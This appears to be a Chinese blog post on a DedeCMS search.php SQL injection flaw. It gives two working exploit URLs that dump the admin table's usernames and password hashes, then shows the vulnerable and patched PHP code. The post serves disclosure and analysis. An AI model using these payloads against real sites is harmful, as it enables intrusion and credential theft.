织梦dedecms的最近出的一高危漏洞,search.php注入漏洞;估计现在很多黑阔都非常爱dedecms,因为经常有各种漏洞爆出.很多利用起来也都很简单. 下面是漏洞的详细利用细节: 0×1: http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a 报错如果为:Safe Alert: Request Error step 2 ! 则利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`/'`+]=a 0×2: http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a 报错如果为:Safe Alert: Request Error step 1 ! 则利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`/'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a +from+information_schema.tables+group+by+a)b)%23@`/'`+]=a 漏洞修复: 20130115常规安全更新 include/arc.searchview.class.php, 搜索功能准确度优化 member/myfriend_group.php, 修复会员中心会员分组功能存在的安全隐患 plus/search.php, 修复搜索功能存在的安全隐患 登录DEDECMS后台会有提示,更新即可。不过貌似官方没有提供安全更新补丁的下载地址,找了半天没找到~ 漏洞分析: 存在漏洞的文件/plus/search.php //引入栏目缓存并看关键字是否有相关栏目内容 require_once($typenameCacheFile); if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { $keywordn = str_replace($typename, ‘ ‘, $keyword); if($keyword != $keywordn) { $keyword = $keywordn; $typeid = $id; //对ID没做任何过滤 导致注入 break; } } } } $keyword = addslashes(cn_substr($keyword,30)); 修复之后 //引入栏目缓存并看关键字是否有相关栏目内容 require_once($typenameCacheFile); if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { //$keywordn = str_replace($typename, ‘ ‘, $keyword); $keywordn = $keyword; if($keyword != $keywordn) { $keyword = htmlReplace($keywordn);//防XSS $typeid = intval($id); //强制转换为数字型 break; } } } } $keyword = addslashes(cn_substr($keyword,30));